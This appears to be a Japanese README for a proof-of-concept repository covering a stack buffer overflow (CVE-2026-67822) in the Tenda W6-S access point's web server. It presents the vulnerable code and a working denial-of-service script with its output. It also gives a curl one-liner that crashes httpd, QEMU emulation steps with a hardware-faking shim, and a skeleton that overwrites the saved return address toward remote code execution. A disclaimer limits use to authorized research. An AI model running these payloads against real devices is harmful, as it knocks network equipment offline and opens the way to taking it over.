
Tenda W6-S /goform/wifiSSIDset における CVE-2026-67822 スタックオーバーフローの PoC: DoS 再現ツール、QEMU MIPS シム、および概念的な RCE ペイロードのスケルトン。
wifiSSIDset スタックバッファオーバーフロー(PoC)Hunt-Benito記事に付属するPoC
「GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler」。
CVE-2026-67822(CVSS 9.8 Critical、CWE-121)は、Tenda W6-Sワイヤレスアクセスポイントの /bin/httpd(GoAhead派生のウェブサーバ)が持つ /goform/wifiSSIDset エンドポイントの背後にあるC関数 formwrlSSIDset() におけるスタックベースのバッファオーバーフローです。
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
確認された影響: サービス拒否(httpd のクラッシュ)。
潜在的な影響: リモートコード実行(MIPS、スタックカナリアなし / このビルドではASLRなし)。
実機のW6-S(デフォルトLAN IP 192.168.5.10)またはエミュレートされたインスタンスに対して:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
同等のワンライナー:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
リクエストが返された後、管理インターフェースは電源を入れ直すまで応答しません。
fake_apmib.so)/bin/httpd は実際のTendaシリコン(libapmib.so、cfmd デーモン、LAN MAC)を前提としています。fake_apmib.c シムは、エミュレートしたファームウェアファイルシステム内で httpd を起動できるように、それらのうち必要最小限を偽装します。このセットアップは元の研究者の手法を踏襲しています。
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd を起動するguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
これで管理インターフェースは http://192.168.5.10(デフォルトログイン admin / admin)で到達可能になり、poc_dos.py は実機に対する場合とまったく同じように動作します。
Tendaの内部
apmib/cfmdヘルパーの正確なプロトタイプはファームウェアのビルドごとに異なります。ターゲットの実際のlibapmib.so(objdump -T libapmib.so/ IDA)で確認し、必要に応じてfake_apmib.cを調整してください。
exploit_conceptual.py は、DoSを超えた攻撃の形状を示しています:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
このスケルトンは $ra のみをリダイレクトします。 乗っ取りを実際のコード実行に変えるには、非NXスタック向けのシェルコードか、特定のファームウェアイメージ内のガジェットから組み立てたROPチェーンのいずれかが必要です — どちらもビルド固有のものであり、意図的に研究者に委ねられています。DoSは確認済みであり、RCEはCVSSベクタ(C:H/I:H)が反映するもっともらしい最悪ケースです。
このコードは許可されたセキュリティ研究専用です。所有しているデバイス、または明示的な書面によるテスト許可を得たデバイスに対してのみ実行してください。管理していないネットワークやハードウェアに対して使用しないでください。
| 影響を受ける製品 | Tenda W6-Sワイヤレスアクセスポイント |
| 影響を受けるファームウェア | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121(スタックベースのバッファオーバーフロー) |
| 脆弱性のあるエンドポイント | POST /goform/wifiSSIDset(パラメータ GO、index) |
| 発見者 / クレジット | trister |
| ファイル | 目的 |
|---|
poc_dos.py | 確認済みのDoS再現スクリプト。 過大な GO パラメータを送信し、その結果生じる httpd のクラッシュを検出します。標準ライブラリのみ — 依存関係なし。 |
exploit_conceptual.py | 概念実証用RCEスケルトン。 制御フロー乗っ取りの形(保存された $ra へのパディング、その後の上書き)と、$ra までのオフセットを経験的に導出するサイクリックパターンヘルパーを示します。動作するシェルコードやガジェットアドレスは含まれていません。 |
fake_apmib.c | Tendaのハードウェア/MIB呼び出しを偽装する LD_PRELOAD シムで、QEMU MIPSゲスト上で /bin/httpd を起動できるようにします — 実機なしでバグを再現するために使用した手法です。 |
| シムがインターセプトするもの | 戻り値 | 理由 |
|---|
apmib_init() | 1 | ハードウェア/MIB初期化をスキップ |
ConnectCfm() | 1 | cfmd デーモンが応答したふりをする |
GetValue("lan.ip", …) | 192.168.5.10 | 静的管理IP |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | 偽のMAC |
connect() | パススルー | unixソケット/TCP接続を解決 |